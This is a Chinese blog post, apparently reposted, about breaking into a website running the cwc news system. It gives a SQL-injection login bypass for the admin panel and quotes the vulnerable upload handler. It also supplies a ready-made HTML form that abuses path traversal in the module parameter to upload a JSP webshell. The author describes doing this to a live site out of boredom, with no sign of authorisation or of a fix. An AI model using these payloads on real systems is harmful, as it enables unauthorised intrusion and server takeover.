cwc新闻系统jsp木马上传漏洞

来源:互联网 发布:土石方工程量计算软件 编辑:程序博客网 时间:2024/04/27 22:24

转载请注明出处:http://write.blog.csdn.net/postedit/7170056    

昨天在无聊搞了一个网站,使用的是cwc新闻系统,黑盒搞了半天,只有些sql注入漏洞,没法上传木马,就下了一套源码看了一下,发现了一个可以上传jsp木马的地方,所以写下来。
    这套系统注入非常多,登录页面在cwc_news/login.jsp,用户名输入:admin'/*,密码随便写,就可以进后台(图1)。

                                                 图1


    下面我们看存在上传jsp木马漏洞的文件upload_module_post.jsp,主要代码如下:

<%String msg = "Be successful!";mySmartUpload.initialize(pageContext);mySmartUpload.upload();com.jspsmart.upload.File myFile = mySmartUpload.getFiles().getFile(0);if (myFile.getFileExt().equals("jsp") || myFile.getFileExt().equals("JSP"))if (myFile.getSize() < 300*1024)if (!myFile.isMissing()) {String path = request.getRealPath(".");myFile.saveAs(path + "/module/" + request.getParameter("module") + "/detail_news.jsp");}else {msg = "False,to try again!";}else {msg = "File size over" + 300 + "K!";}else {msg = "Only can be upload JSP file,your file type is " + myFile.getFileExt();}response.sendRedirect("control_module.jsp?msg=" + msg);%>


这个jsp文件是用于管理员上传新闻发布模板的,可以看到文件并没有验证session,就算是验证了,我们也可以通过注入进入后台得到管理员的session,文件首先判断是否是jsp文件,如果是而且大小合法的话,就保存到module的子文件夹里,子文件夹的名称是我们通过参数传过去的,看看源码包里module里有什么文件夹(图2)。

                                         图2

但是这里我也不知道网站上是否有这些子文件夹,而且如果文件夹里已经有了detail_news.jsp文件,我们上传的文件是没法创建的,没关系,程序并没有对用户传递的数据进行过滤,我们完全可以提交.../来跳一层文件夹,这样我们的木马路径就是http://www.test.com/cwc_news/detail_news.jsp,我们测试一下,构造一个表单如下:

<html><body><form action="http://www.test.com/cwc_news/upload_module_post.jsp?module=../" method="post" enctype="multipart/form-data" name="form1">  <input name="file_data" type="file" id="file_data">  <input type="submit" name="Submit" value="上传"></form></body></html>


 

提交后成功得到webshell(图3)。

                                                                                                图3

原创粉丝点击